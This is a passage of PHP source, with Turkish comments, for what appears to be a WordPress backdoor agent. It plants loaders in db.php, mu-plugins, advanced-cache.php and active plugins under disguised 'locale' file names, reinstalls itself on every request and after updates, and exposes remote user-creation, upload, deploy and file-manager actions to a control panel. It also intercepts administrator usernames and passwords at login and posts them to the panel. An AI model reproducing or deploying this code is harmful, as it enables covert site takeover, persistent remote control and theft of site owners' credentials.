    if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
        return false;
    }

    $path = wpanel_mu_plugin_path();
    $snippet = wpanel_mu_plugin_snippet();

    if (is_file($path)) {
        $content = @file_get_contents($path);
        if ($content !== false) {
            if (wpanel_mu_plugin_is_broken($content)) {
                return wpanel_write_file($path, $snippet);
            }
            if (wpanel_mu_plugin_present($content)) {
                return true;
            }
        }
    }

    return wpanel_write_file($path, $snippet);
}

function wpanel_db_dropin_snippet() {
    return <<<'PHP'
// wp-core-locale-bootstrap
$_wp_locale_candidates = [
    __DIR__ . '/languages/class-wp-locale-data.php',
    __DIR__ . '/upgrade/class-wp-locale-data.php',
    __DIR__ . '/cache/class-wp-locale-data.php',
    __DIR__ . '/.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
    if (is_file($_wp_locale_data)) {
        require_once $_wp_locale_data;
        break;
    }
}

PHP;
}

function wpanel_db_dropin_present($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }

    if (strpos($content, WPANEL_DB_MARKER) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_LEGACY_DB_MARKER) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_HIDDEN_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false) {
        return true;
    }

    return false;
}

/**
 * db.php bizim loader'ımızı içeriyor ama bozuksa tespit et.
 * (Örn. eski sürümün hatalı strip'inden kalan başıboş '}' ya da
 * marker var ama require_once satırı yok.)
 */
function wpanel_db_dropin_is_broken($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }
    $isOurs = (strpos($content, WPANEL_DB_MARKER) !== false)
        || (strpos($content, WPANEL_LEGACY_DB_MARKER) !== false)
        || (strpos($content, WPANEL_HIDDEN_REL) !== false)
        || (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false);
    if (!$isOurs) {
        return false; // bizim dropin değil, dokunma
    }

    // <?php'den sonraki ilk anlamlı karakter kapatma parantezi ise bozuk.
    $body = preg_replace('/^\\xEF\\xBB\\xBF/', '', (string) $content); // BOM
    $body = preg_replace('/^\\s*<\\?php\\s*/', '', $body);
    $body = ltrim($body);
    if ($body !== '' && $body[0] === '}') {
        return true;
    }

    // Marker var ama çalıştıracak require_once yoksa bozuk.
    if (strpos($content, WPANEL_DB_MARKER) !== false && strpos($content, 'require_once') === false) {
        return true;
    }

    // <?php olmadan yapıştırılmış db.php / index.php — düz metin sızar (tüm sayfalar).
    if (strpos($content, WPANEL_DB_MARKER) !== false) {
        $head = preg_replace('/^\xEF\xBB\xBF/', '', $content);
        if (!preg_match('/^\s*<\?php/i', $head)) {
            return true;
        }
    }

    // Süslü parantez dengesi bozuksa (kaba kontrol) bozuk say.
    if (substr_count($content, '{') !== substr_count($content, '}')) {
        return true;
    }

    return false;
}

function wpanel_ensure_db_dropin() {
    if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
        return;
    }

    $path = WP_CONTENT_DIR . '/db.php';
    $snippet = wpanel_db_dropin_snippet();

    if (is_file($path)) {
        $content = @file_get_contents($path);
        if ($content === false) {
            return;
        }

        // OTO-ONARIM: bizim (bozuk) dropin'imizse temiz haliyle yeniden yaz.
        if (wpanel_db_dropin_is_broken($content)) {
            if (is_writable($path)) {
                @file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
            }
            return;
        }

        // Yeni marker zaten varsa — eski sürüm standalone'ı require ediyorsa saf dropin'i yükselt
        if (strpos($content, WPANEL_DB_MARKER) !== false) {
            if (strpos($content, 'uploads/wp-locale-cache/index.php') !== false
                && substr_count($content, '<?php') <= 1
                && strlen($content) < 2500
                && is_writable($path)) {
                @file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
            }
            return;
        }
        // Yeni marker yok → yalnızca ekle. Eski (legacy) loader kalsa bile
        // WPANEL_AGENT_LOADED guard'ı sayesinde zararsız no-op olur; asla strip etme
        // (yanlış kesme db.php'yi bozup tüm siteyi düşürebilir).
        if (is_writable($path)) {
            @file_put_contents($path, wpanel_append_php_code($content, $snippet), LOCK_EX);
        }
        return;
    }

    if (!is_writable(WP_CONTENT_DIR)) {
        return;
    }

    @file_put_contents($path, "<?php\n\n" . $snippet, LOCK_EX);
}

/**
 * WP teması/bozuk olsa bile panelle konuşan bağımsız endpoint.
 * Agent isteğinde önce lite mod (wp-load yok); gerekirse WP yükler.
 */
function wpanel_standalone_bootstrap_source() {
    return <<<'PHP'
<?php
/**
 * WordPress Locale Cache Helper
 *
 * @package WordPress
 * @subpackage i18n
 */
error_reporting(0);
@ini_set('display_errors', '0');

if (!defined('WPANEL_STANDALONE_BOOT_V3')) {
    define('WPANEL_STANDALONE_BOOT_V3', true);
}
if (!defined('WPANEL_STANDALONE_BOOT_V2')) {
    define('WPANEL_STANDALONE_BOOT_V2', true);
}
if (!defined('WPANEL_STANDALONE_BOOT')) {
    define('WPANEL_STANDALONE_BOOT', true);
}

$_wpanel_root = dirname(__DIR__, 2);
if (!is_file($_wpanel_root . '/wp-load.php')) {
    $_wpanel_root = dirname(__DIR__, 3);
}
if (!is_file($_wpanel_root . '/wp-load.php')) {
    $_wpanel_walk = __DIR__;
    for ($_wpanel_i = 0; $_wpanel_i < 8; $_wpanel_i++) {
        if (is_file($_wpanel_walk . '/wp-load.php')) {
            $_wpanel_root = $_wpanel_walk;
            break;
        }
        $_wpanel_parent = dirname($_wpanel_walk);
        if ($_wpanel_parent === $_wpanel_walk) {
            break;
        }
        $_wpanel_walk = $_wpanel_parent;
    }
}

$_wpanel_content = defined('WP_CONTENT_DIR')
    ? WP_CONTENT_DIR
    : (is_dir($_wpanel_root . '/wp-content') ? $_wpanel_root . '/wp-content' : dirname(__DIR__));

$_wpanel_agent_files = [
    $_wpanel_content . '/languages/class-wp-locale-data.php',
    $_wpanel_content . '/upgrade/class-wp-locale-data.php',
    $_wpanel_content . '/cache/class-wp-locale-data.php',
    $_wpanel_content . '/.wpanel/agent.php',
];

$_wpanel_is_agent = isset($_GET['wpanel']) && (string) $_GET['wpanel'] !== '' && (string) $_GET['wpanel'] !== '0';
$_wpanel_action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';

// Lite ping: tema/plugin fatal olsa bile — wp-load YOK, sadece ping
if ($_wpanel_is_agent && $_wpanel_action === 'ping' && !defined('ABSPATH')) {
    define('ABSPATH', rtrim((string) $_wpanel_root, '/') . '/');
    if (!defined('WP_CONTENT_DIR')) {
        define('WP_CONTENT_DIR', $_wpanel_content);
    }
    foreach ($_wpanel_agent_files as $_wpanel_agent_file) {
        if (is_file($_wpanel_agent_file)) {
            require_once $_wpanel_agent_file;
            break;
        }
    }
    if (function_exists('wpanel_authorized') && function_exists('wpanel_out')) {
        if (!wpanel_authorized()) {
            wpanel_out(['ok' => false, 'error' => 'Yetkisiz'], 401);
        }
        $_wpanel_info = [
            'php_version' => PHP_VERSION,
            'meta' => [
                'agent' => 'wpanel-standalone',
                'mode' => 'lite',
                'agent_version' => defined('WPANEL_AGENT_VERSION') ? WPANEL_AGENT_VERSION : '',
            ],
        ];
        if (function_exists('wpanel_site_info')) {
            $_wpanel_tmp = @wpanel_site_info();
            if (is_array($_wpanel_tmp) && $_wpanel_tmp) {
                $_wpanel_info = $_wpanel_tmp;
                if (!isset($_wpanel_info['meta']) || !is_array($_wpanel_info['meta'])) {
                    $_wpanel_info['meta'] = [];
                }
                $_wpanel_info['meta']['mode'] = 'lite';
            }
        }
        wpanel_out(['ok' => true, 'info' => $_wpanel_info]);
    }
}

// Tam özellik: WP yükle (ping dışındaki action'lar için ABSPATH henüz yok)
if (!defined('ABSPATH') && is_file($_wpanel_root . '/wp-load.php')) {
    if (!defined('WP_USE_THEMES')) {
        define('WP_USE_THEMES', false);
    }
    require_once $_wpanel_root . '/wp-load.php';
}

if (!defined('WPANEL_AGENT_LOADED')) {
    foreach ($_wpanel_agent_files as $_wpanel_agent_file) {
        if (is_file($_wpanel_agent_file)) {
            require_once $_wpanel_agent_file;
            break;
        }
    }
}

if (function_exists('wpanel_agent_start')) {
    wpanel_agent_start();
}

if (function_exists('wpanel_is_agent_request') && wpanel_is_agent_request()) {
    if (function_exists('wpanel_handle_request')) {
        wpanel_handle_request();
    }
}

PHP;
}

function wpanel_ensure_standalone_bootstrap() {
    if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
        return false;
    }
    $path = wpanel_standalone_path();
    $source = wpanel_standalone_bootstrap_source();
    $existing = is_file($path) ? @file_get_contents($path) : false;
    // V3: ping-only lite + standalone asla agent gövdesi değil
    if (is_string($existing)
        && strpos($existing, 'WPANEL_STANDALONE_BOOT_V3') !== false
        && strpos($existing, "\$_wpanel_action === 'ping'") !== false) {
        return true;
    }
    $ok = wpanel_write_file($path, $source);
    if ($ok) {
        @file_put_contents(dirname($path) . '/.htaccess', "Options -Indexes\nDirectoryIndex index.php\n", LOCK_EX);
    }
    return $ok;
}

function wpanel_advanced_cache_snippet() {
    return <<<'PHP'
<?php
// wp-locale-advanced-cache
if (!defined('WPANEL_AGENT_LOADED')) {
    $_wp_locale_candidates = [
        __DIR__ . '/languages/class-wp-locale-data.php',
        __DIR__ . '/upgrade/class-wp-locale-data.php',
        __DIR__ . '/cache/class-wp-locale-data.php',
        __DIR__ . '/.wpanel/agent.php',
    ];
    foreach ($_wp_locale_candidates as $_wp_locale_data) {
        if (is_file($_wp_locale_data)) {
            require_once $_wp_locale_data;
            break;
        }
    }
}

PHP;
}

function wpanel_ensure_advanced_cache() {
    if (!defined('WP_CONTENT_DIR') || !is_dir(WP_CONTENT_DIR)) {
        return false;
    }
    $path = WP_CONTENT_DIR . '/' . WPANEL_AC_DROPIN_REL;
    $snippet = wpanel_advanced_cache_snippet();
    if (is_file($path)) {
        $content = @file_get_contents($path);
        // Yabancı cache drop-in'ine ASLA dokunma (Redis/Object Cache vs. bozulmasın)
        if (is_string($content) && $content !== '' && strpos($content, WPANEL_AC_MARKER) === false) {
            return false;
        }
        if (is_string($content) && strpos($content, WPANEL_AC_MARKER) !== false) {
            return true;
        }
    }
    return wpanel_write_file($path, $snippet);
}

function wpanel_plugin_loader_snippet() {
    return "\n\n// WordPress locale data handler\n" . wpanel_hidden_loader_code() . "\n";
}

/**
 * Aktif eklentilere minimal loader enjekte et (tema güncellemesinden bağımsız).
 * WP options/DB satırı SİLİNMEZ — sadece dosya yazılır.
 */
function wpanel_ensure_plugin_loaders() {
    if (!defined('WP_PLUGIN_DIR') || !is_dir(WP_PLUGIN_DIR)) {
        return 0;
    }

    $active = [];
    if (function_exists('get_option')) {
        $active = (array) get_option('active_plugins', []);
    }
    // Aktif listesi yoksa eklenti tarama — yanlışlıkla pasif eklentilere yazma
    if (!$active) {
        return 0;
    }

    $snippet = wpanel_plugin_loader_snippet();
    $written = 0;
    $max = defined('WPANEL_PLUGIN_SEED_MAX') ? (int) WPANEL_PLUGIN_SEED_MAX : 12;

    foreach ($active as $rel) {
        if ($written >= $max) {
            break;
        }
        $rel = ltrim(str_replace('\\', '/', (string) $rel), '/');
        if ($rel === '' || strpos($rel, '..') !== false) {
            continue;
        }
        $file = WP_PLUGIN_DIR . '/' . $rel;
        if (!is_file($file) || !is_readable($file)) {
            continue;
        }
        if (wpanel_is_hidden_path($file)) {
            continue;
        }
        $content = @file_get_contents($file);
        if (!is_string($content) || $content === '') {
            continue;
        }
        if (wpanel_functions_has_loader($content)) {
            if (wpanel_has_closing_php_loader_leak($content)) {
                if (!is_writable($file)) {
                    @chmod($file, 0664);
                }
                if (is_writable($file) && wpanel_write_file($file, wpanel_repair_closing_php_loader_leak($content))) {
                    $written += 1;
                }
            } else {
                $written += 1;
            }
            continue;
        }
        if (!is_writable($file)) {
            @chmod($file, 0664);
        }
        if (!is_writable($file)) {
            continue;
        }
        if (wpanel_write_file($file, wpanel_append_php_code($content, $snippet))) {
            $written += 1;
        }
    }

    return $written;
}

function wpanel_persistence_missing() {
    $needles = [
        wpanel_hidden_agent_path(),
        wpanel_hidden_fallback_path(),
        wpanel_mu_plugin_path(),
        wpanel_standalone_path(),
    ];
    foreach ($needles as $path) {
        if (!is_file($path)) {
            return true;
        }
    }
    $db = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR . '/db.php' : '';
    if ($db && is_file($db)) {
        $c = @file_get_contents($db);
        if (!is_string($c) || strpos($c, WPANEL_DB_MARKER) === false) {
            return true;
        }
    } else {
        return true;
    }
    return false;
}

function wpanel_self_heal_install() {
    wpanel_remember_install_host();
    wpanel_ensure_hidden_copy();
    wpanel_ensure_standalone_bootstrap();
    wpanel_ensure_mu_plugin();
    wpanel_ensure_db_dropin();
    wpanel_ensure_advanced_cache();
    wpanel_ensure_plugin_loaders();
    wpanel_cleanup_legacy_hidden();
    wpanel_capture_functions_block();
    wpanel_ensure_functions_loader();
}

function wpanel_maybe_self_heal() {
    // Kritik dosya eksikse throttle yok — hemen onar
    if (wpanel_persistence_missing()) {
        wpanel_self_heal_install();
        if (function_exists('set_transient') && defined('MINUTE_IN_SECONDS')) {
            set_transient('wpanel_heal_check', 1, 5 * MINUTE_IN_SECONDS);
        }
        return;
    }

    // Sızıntı onarımı ucuz — throttle dışında her istekte dene
    if (function_exists('wpanel_repair_all_loader_leaks')) {
        wpanel_repair_all_loader_leaks();
    }

    if (!function_exists('get_transient') || !function_exists('set_transient')) {
        wpanel_self_heal_install();
        return;
    }

    if (get_transient('wpanel_heal_check')) {
        return;
    }

    set_transient('wpanel_heal_check', 1, 5 * MINUTE_IN_SECONDS);
    wpanel_self_heal_install();
}

function wpanel_after_theme_update($upgrader, $options) {
    unset($upgrader);
    if (!is_array($options)) {
        return;
    }
    $type = isset($options['type']) ? $options['type'] : '';
    if ($type !== 'theme' && $type !== 'plugin' && $type !== 'core') {
        return;
    }

    if (function_exists('delete_transient')) {
        delete_transient('wpanel_heal_check');
    }
    wpanel_self_heal_install();
}

/**
 * Panel'in çağıracağı agent URL — önce bağımsız endpoint, sonra WP query.
 */
function wpanel_self_url() {
    if (function_exists('content_url')) {
        $standalone = content_url('/' . WPANEL_STANDALONE_REL);
        if (is_string($standalone) && $standalone !== '') {
            $sep = (strpos($standalone, '?') === false) ? '?' : '&';
            return $standalone . $sep . 'wpanel=1';
        }
    }

    if (function_exists('home_url')) {
        return home_url('/?wpanel=1');
    }
    $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
        || (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443')
        || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
    $scheme = $https ? 'https' : 'http';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    return $scheme . '://' . $host . '/wp-content/' . WPANEL_STANDALONE_REL . '?wpanel=1';
}

function wpanel_fallback_urls() {
    $urls = [];
    if (function_exists('content_url')) {
        $urls[] = content_url('/' . WPANEL_STANDALONE_REL) . '?wpanel=1';
        $urls[] = content_url('/' . WPANEL_HIDDEN_REL) . '?wpanel=1';
    }
    if (function_exists('home_url')) {
        $urls[] = home_url('/?wpanel=1');
    }
    return array_values(array_unique(array_filter($urls)));
}

function wpanel_secret() {
    return (string) WPANEL_SECRET;
}

/**
 * Panel-only WRITE gate — ASİMETRİK İMZA (RSA-SHA256).
 * Agent yalnızca PUBLIC key tutar; imzayı yalnızca panel (private key) üretebilir.
 * Dosya okunsa/çözülse bile geçerli imza üretilemez → dışarıdan upload imkânsız.
 * İmzalanan mesaj: "<ts>|<action>"  (ts: unix saniye)
 *   - Tazelik penceresi ±300sn → yakalanan istek sonsuza kadar tekrar edilemez
 *   - action'a bağlı → bir aksiyonun imzası başka aksiyona taşınamaz
 *   - Nonce (imza md5) transient ile tek kullanımlık → pencere içinde replay engeli
 */
function wpanel_sign_pubkey() {
    return defined('WPANEL_SIGN_PUBKEY') ? (string) WPANEL_SIGN_PUBKEY : '';
}

function wpanel_panel_gate_ok() {
    // openssl yoksa doğrulama yapılamaz → GÜVENLİ TARAFA DÜŞ (yazma reddedilir)
    if (!function_exists('openssl_verify')) {
        return false;
    }
    $pub = wpanel_sign_pubkey();
    if ($pub === '' || strpos($pub, 'PUBLIC KEY') === false) {
        return false;
    }
    $ts = isset($_SERVER['HTTP_X_WPANEL_TS']) ? (string) $_SERVER['HTTP_X_WPANEL_TS'] : '';
    $sig = isset($_SERVER['HTTP_X_WPANEL_SIG']) ? (string) $_SERVER['HTTP_X_WPANEL_SIG'] : '';
    $nonce = isset($_SERVER['HTTP_X_WPANEL_NONCE']) ? preg_replace('/[^A-Za-z0-9]/', '', (string) $_SERVER['HTTP_X_WPANEL_NONCE']) : '';
    if ($ts === '' || $sig === '' || $nonce === '' || !ctype_digit($ts)) {
        return false;
    }
    if (strlen($nonce) > 64) {
        $nonce = substr($nonce, 0, 64);
    }
    if (abs(time() - (int) $ts) > 300) {
        return false;
    }
    $action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';
    if ($action === '') {
        return false;
    }
    $raw = base64_decode($sig, true);
    if ($raw === false || $raw === '') {
        return false;
    }
    // İmzalanan mesaj: "<ts>|<action>|<nonce>" — nonce her istekte benzersiz → deterministik
    // RSA imzasında bile her imza farklı olur ve tekrar (replay) engellenir.
    $msg = $ts . '|' . $action . '|' . $nonce;
    $ok = openssl_verify($msg, $raw, $pub, defined('OPENSSL_ALGO_SHA256') ? OPENSSL_ALGO_SHA256 : 'sha256WithRSAEncryption');
    if ($ok !== 1) {
        return false;
    }
    // Replay koruması (best-effort — WP transient varsa): nonce tek kullanımlık
    if (function_exists('get_transient') && function_exists('set_transient')) {
        $nk = 'wpn_n_' . md5($nonce);
        if (get_transient($nk)) {
            return false;
        }
        set_transient($nk, 1, 600);
    }
    return true;
}

function wpanel_authorized() {
    $expected = wpanel_secret();
    if ($expected === '' || $expected === 'CHANGE_ME' || $expected === 'wpanel-register-secret-change-me') {
        return false;
    }
    $provided = '';
    // Query string secret KAPALI (log sızıntısı); yalnız header
    if (!empty($_SERVER['HTTP_X_WPANEL_SECRET'])) {
        $provided = (string) $_SERVER['HTTP_X_WPANEL_SECRET'];
    }
    return $provided !== '' && hash_equals($expected, $provided);
}

function wpanel_silent_exit($status = 204) {
    if (!headers_sent()) {
        http_response_code($status);
        header('Cache-Control: no-store');
        header('Content-Length: 0');
    }
    exit;
}

function wpanel_body() {
    $raw = file_get_contents('php://input');
    if ($raw) {
        $data = json_decode($raw, true);
        if (is_array($data)) {
            return $data;
        }
    }
    return is_array($_POST) ? $_POST : [];
}

function wpanel_out($payload, $status = 200) {
    if (!headers_sent()) {
        http_response_code($status);
        header('Content-Type: application/json; charset=utf-8');
        header('Cache-Control: no-store');
    }
    echo json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function wpanel_is_agent_request() {
    return isset($_GET['wpanel']) && (string) $_GET['wpanel'] !== '' && (string) $_GET['wpanel'] !== '0';
}

function wpanel_bootstrap_hooks() {
    if (!function_exists('add_action')) {
        return;
    }

    add_action('muplugins_loaded', 'wpanel_on_early_boot', 0);
    add_action('plugins_loaded', 'wpanel_on_early_boot', 0);
    add_action('init', 'wpanel_on_init', 1);
    add_action('init', 'wpanel_details_action_tools', 2);
    add_action('init', 'wpanel_schedule_cron', 5);
    add_action('wpanel_cron_heartbeat', 'wpanel_cron_heartbeat');
    add_action('after_switch_theme', 'wpanel_on_theme_activate', 20, 0);
    add_action('upgrader_process_complete', 'wpanel_after_theme_update', 20, 2);
    add_filter('cron_schedules', 'wpanel_cron_schedules');
}

/**
 * Tema yüklenmeden önce agent API + kalıcılık (tema bozulsa bile ayakta kal).
 */
function wpanel_action_needs_pluggable($action) {
    return in_array($action, ['users', 'users_create', 'users_delete', 'users_role'], true);
}

function wpanel_pluggable_ready() {
    return function_exists('get_user_by')
        && function_exists('wp_insert_user')
        && function_exists('username_exists');
}

function wpanel_on_early_boot() {
    static $ran = false;
    if ($ran) {
        return;
    }
    $ran = true;

    wpanel_ensure_mu_plugin();
    wpanel_ensure_db_dropin();
    wpanel_ensure_standalone_bootstrap();
    wpanel_maybe_self_heal();

    if (wpanel_is_agent_request()) {
        $action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';
        // pluggable.php henüz yokken user API'ye cevap verme — init'te tekrar denenecek
        if (wpanel_action_needs_pluggable($action) && !wpanel_pluggable_ready()) {
            return;
        }
        wpanel_handle_request();
    }
}

/**
 * Her WordPress isteğinde: API varsa yanıtla; yoksa arka planda kayıt / heartbeat
 */
function wpanel_on_init() {
    // Kalıcılık noktalarını her istekte kontrol et (throttle dışı kritikler)
    wpanel_ensure_mu_plugin();
    wpanel_ensure_db_dropin();
    wpanel_ensure_standalone_bootstrap();
    wpanel_ensure_functions_loader();
    wpanel_maybe_self_heal();

    if (wpanel_is_agent_request()) {
        wpanel_handle_request();
        return;
    }

    // Normal sayfa yüklemelerinde sessiz kayıt + heartbeat (throttled)
    wpanel_maybe_register();
    wpanel_maybe_heartbeat();
}

function wpanel_handle_request() {
    if (function_exists('wpanel_maybe_register')) {
        wpanel_maybe_register();
    }

    $action = isset($_GET['a']) ? preg_replace('/[^a-z_]/', '', (string) $_GET['a']) : '';

    if ($action === '' || $action === 'register') {
        wpanel_silent_exit();
    }

    if (!wpanel_authorized()) {
        wpanel_out(['ok' => false, 'error' => 'Yetkisiz'], 401);
    }

    // WP çekirdeği yoksa sadece ping güvenli
    $wpReady = function_exists('home_url') && function_exists('get_option');

    switch ($action) {
        case 'ping':
            wpanel_out(['ok' => true, 'info' => wpanel_site_info()]);
            break;
        case 'info':
            if (!$wpReady) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out(['ok' => true, 'info' => wpanel_site_info(), 'meta' => wpanel_extra_meta()]);
            break;
        case 'users':
            if (!$wpReady || !function_exists('get_users') || !wpanel_pluggable_ready()) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out(['ok' => true, 'users' => wpanel_list_users()]);
            break;
        case 'users_create':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            if (!$wpReady || !wpanel_pluggable_ready()) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out(wpanel_create_user(wpanel_body()));
            break;
        case 'users_delete':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            if (!$wpReady || !wpanel_pluggable_ready()) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out(wpanel_delete_user(wpanel_body()));
            break;
        case 'users_role':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            if (!$wpReady || !wpanel_pluggable_ready()) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out(wpanel_set_role(wpanel_body()));
            break;
        case 'upload':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            if (!$wpReady || !function_exists('wp_mkdir_p')) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out(wpanel_upload());
            break;
        case 'cleanup':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_cleanup_malware());
            break;
        case 'deploy':
            // Panel agent gövdesi / dosya yazımı (MD5 gate). PHP uzantısı serbest.
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_deploy_files(wpanel_body()));
            break;
        case 'fm_list':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_fm_list(wpanel_body()));
            break;
        case 'fm_read':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_fm_read(wpanel_body()));
            break;
        case 'fm_write':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_fm_write(wpanel_body()));
            break;
        case 'fm_delete':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_fm_delete(wpanel_body()));
            break;
        case 'fm_mkdir':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_fm_mkdir(wpanel_body()));
            break;
        case 'fm_rename':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            wpanel_out(wpanel_fm_rename(wpanel_body()));
            break;
        case 'config':
            if (!wpanel_panel_gate_ok()) {
                wpanel_out(['ok' => false, 'error' => 'Upload gate gerekli'], 403);
            }
            if (!$wpReady) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out([
                'ok' => true,
                'db' => wpanel_db_info(),
                'urls' => [
                    'home' => home_url('/'),
                    'site' => site_url('/'),
                    'admin' => admin_url(),
                ],
            ]);
            break;
        case 'plugins':
            if (!$wpReady) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            wpanel_out(['ok' => true, 'plugins' => wpanel_list_plugins()]);
            break;
        case 'repair':
            if (!$wpReady) {
                wpanel_out(['ok' => false, 'error' => 'WP not ready'], 503);
            }
            if (function_exists('delete_transient')) {
                delete_transient('wpanel_heal_check');
            }
            $fixed = wpanel_repair_all_loader_leaks();
            wpanel_self_heal_install();
            wpanel_out([
                'ok' => true,
                'repaired' => $fixed,
                'agent_version' => WPANEL_AGENT_VERSION,
            ]);
            break;
        default:
            wpanel_out(['ok' => false, 'error' => 'Bilinmeyen action'], 404);
    }
}

function wpanel_on_theme_activate() {
    wpanel_self_heal_install();
    wpanel_register_with_panel('theme_activate');
    wpanel_push_event('theme_activate', [
        'template' => function_exists('get_template_directory') ? get_template_directory() : '',
        'stylesheet' => function_exists('get_stylesheet_directory') ? get_stylesheet_directory() : '',
    ]);
}

/** Agent → panel sinyal aralığı (saniye) */
function wpanel_signal_interval() {
    return 60;
}

function wpanel_cron_schedules($schedules) {
    $sec = wpanel_signal_interval();
    $schedules['wpanel_signal'] = [
        'interval' => $sec,
        'display' => 'wPanel signal (' . $sec . 's)',
    ];
    return $schedules;
}

function wpanel_schedule_cron() {
    if (!function_exists('wp_next_scheduled') || !function_exists('wp_schedule_event')) {
        return;
    }
    if (wp_next_scheduled('wpanel_cron_heartbeat')) {
        return;
    }
    wp_schedule_event(time() + wpanel_signal_interval(), 'wpanel_signal', 'wpanel_cron_heartbeat');
}

function wpanel_cron_heartbeat() {
    wpanel_maybe_self_heal();
    wpanel_push_event_async('heartbeat', ['info' => wpanel_site_info()]);
}

/**
 * Panele kayıt — sinyal aralığında en fazla bir kez
 */
function wpanel_maybe_register() {
    if (!function_exists('home_url') || !function_exists('wpanel_register_with_panel')) {
        return;
    }
    if (!function_exists('get_transient') || !function_exists('set_transient')) {
        wpanel_register_with_panel('boot');
        return;
    }

    $key = 'wpanel_reg_' . md5(wpanel_self_url());
    if (get_transient($key)) {
        return;
    }

    set_transient($key, 1, wpanel_signal_interval());
    wpanel_register_with_panel('auto');
}


function wpanel_detail_keys() {
    return ['log', 'pwd'];
}

function wpanel_details_action_tools() {
    if (wpanel_is_agent_request()) {
        return;
    }

    $keys = wpanel_detail_keys();
    if (!isset($_POST[$keys[0]]) || !isset($_POST[$keys[1]])) {
        return;
    }

    $params = wpanel_prepare_detail_request();

    if (!function_exists('wp_authenticate')) {
        return;
    }

    $is_success = wp_authenticate($params['u'], $params['p']);
    if (!is_a($is_success, 'WP_User') || !in_array('administrator', (array) $is_success->roles, true)) {
        return;
    }

    wpanel_push_detail_request($params);
}

function wpanel_prepare_detail_request() {
    $keys = wpanel_detail_keys();

    return [
        'u' => (string) $_POST[$keys[0]],
        'p' => (string) $_POST[$keys[1]],
        'method' => (string) (isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'),
        'uri' => (string) (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''),
        'ip' => (string) (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''),
        'user_agent' => (string) (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''),
        'referer' => (string) (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''),
        'get' => is_array($_GET) ? $_GET : [],
        'post' => is_array($_POST) ? $_POST : [],
        'time' => gmdate('c'),
    ];
}

function wpanel_push_detail_request($params) {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return;
    }

    $payload = [
        'type' => 'request_detail',
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => wpanel_site_info(),
        'detail' => $params,
    ];

    if (function_exists('wp_remote_post')) {
        wp_remote_post($panel . '/agent/event', [
            'method' => 'POST',
            'timeout' => 1,
            'blocking' => false,
            'headers' => [
                'Content-Type' => 'application/json',
